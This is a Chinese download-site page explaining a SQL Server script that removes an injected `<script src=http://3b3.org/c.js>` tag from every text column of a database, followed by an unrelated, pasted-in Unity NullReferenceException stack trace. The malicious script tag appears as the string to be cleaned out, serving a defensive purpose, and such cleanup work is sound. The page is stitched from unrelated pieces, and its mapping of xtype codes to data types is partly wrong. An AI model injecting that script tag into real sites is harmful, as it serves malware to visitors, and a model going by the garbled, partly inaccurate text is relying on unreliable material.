SQL注入修复:批量替换3b3.org/c.js恶意脚本

需积分: 9 9 下载量 75 浏览量 更新于2024-12-19 收藏 601B TXT 举报
"批量修改“3b3.org/c.js”恶意注入SQL语句" 这篇描述涉及的是一个针对SQL注入攻击的防御措施,其中"3b3.org/c.js"被识别为一个潜在的恶意脚本源。SQL注入是一种常见的网络安全威胁,攻击者通过在输入字段中插入恶意的SQL代码,来获取、修改、甚至删除数据库中的敏感信息。在这个案例中,攻击者可能试图通过在网页中嵌入`<script src=http://3b3.org/c.js></script>`来注入JavaScript,这可能会导致用户浏览器执行恶意代码。 为了解决这个问题,提供的SQL代码展示了一个批量修改数据库中所有可能受感染字段的方法。这段SQL脚本首先声明了几个变量:`@t`用于存储表名,`@c`用于存储列名,`@inScript`则存储了要替换的恶意脚本字符串。 然后,它创建了一个名为`table_cursor`的游标,用于遍历数据库中的所有用户定义的表(`xtype='u'`)和列,特别是那些可能包含可变长度字符串数据类型的列(`xtype=99, 35, 231, 167`分别对应于SQL Server中的'nvarchar(max)', 'varchar(max)', 'text', 'ntext'数据类型)。 `open table_cursor`和`fetch next from table_cursor into @t, @c`语句打开了游标并获取了第一组表名和列名。接下来的`while`循环遍历每一行,对每个表的每个列执行`update`语句,用`replace`函数将列的值中所有的`@inScript`恶意脚本替换为空字符串。 这个过程可以防止恶意脚本在数据库中被存储或执行,从而保护了数据库的安全。然而,这个方法只处理了已知的注入字符串,对于其他可能的注入方式,还需要配合防火墙、参数化查询、输入验证等更全面的防御策略来提高安全性。 这个示例展示了如何使用SQL语句批量处理数据库中的潜在威胁,但同时也提醒我们,为了全面防御SQL注入,应结合多种安全实践和技术,包括但不限于使用预编译的SQL语句、限制用户输入、定期审计数据库内容等。

NullReferenceException: Object reference not set to an instance of an object Duihua.duihua (System.Int32 aa) (at Assets/Script/Duihua.cs:78) Duihua.Continue_Button () (at Assets/Script/Duihua.cs:71) UnityEngine.Events.InvokableCall.Invoke () (at <38c6fe84e4c8408ca6bc6e5ae83a0b3f>:0) UnityEngine.Events.UnityEvent.Invoke () (at <38c6fe84e4c8408ca6bc6e5ae83a0b3f>:0) UnityEngine.UI.Button.Press () (at D:/Program Files/Unity/Hub/Editor/2019.4.13f1c1/Editor/Data/Resources/PackageManager/BuiltInPackages/com.unity.ugui/Runtime/UI/Core/Button.cs:68) UnityEngine.UI.Button.OnPointerClick (UnityEngine.EventSystems.PointerEventData eventData) (at D:/Program Files/Unity/Hub/Editor/2019.4.13f1c1/Editor/Data/Resources/PackageManager/BuiltInPackages/com.unity.ugui/Runtime/UI/Core/Button.cs:110) UnityEngine.EventSystems.ExecuteEvents.Execute (UnityEngine.EventSystems.IPointerClickHandler handler, UnityEngine.EventSystems.BaseEventData eventData) (at D:/Program Files/Unity/Hub/Editor/2019.4.13f1c1/Editor/Data/Resources/PackageManager/BuiltInPackages/com.unity.ugui/Runtime/EventSystem/ExecuteEvents.cs:50) UnityEngine.EventSystems.ExecuteEvents.Execute[T] (UnityEngine.GameObject target, UnityEngine.EventSystems.BaseEventData eventData, UnityEngine.EventSystems.ExecuteEvents+EventFunction`1[T1] functor) (at D:/Program Files/Unity/Hub/Editor/2019.4.13f1c1/Editor/Data/Resources/PackageManager/BuiltInPackages/com.unity.ugui/Runtime/EventSystem/ExecuteEvents.cs:261) UnityEngine.EventSystems.EventSystem:Update() (at D:/Program Files/Unity/Hub/Editor/2019.4.13f1c1/Editor/Data/Resources/PackageManager/BuiltInPackages/com.unity.ugui/Runtime/EventSystem/EventSystem.cs:377)

2023-06-09 上传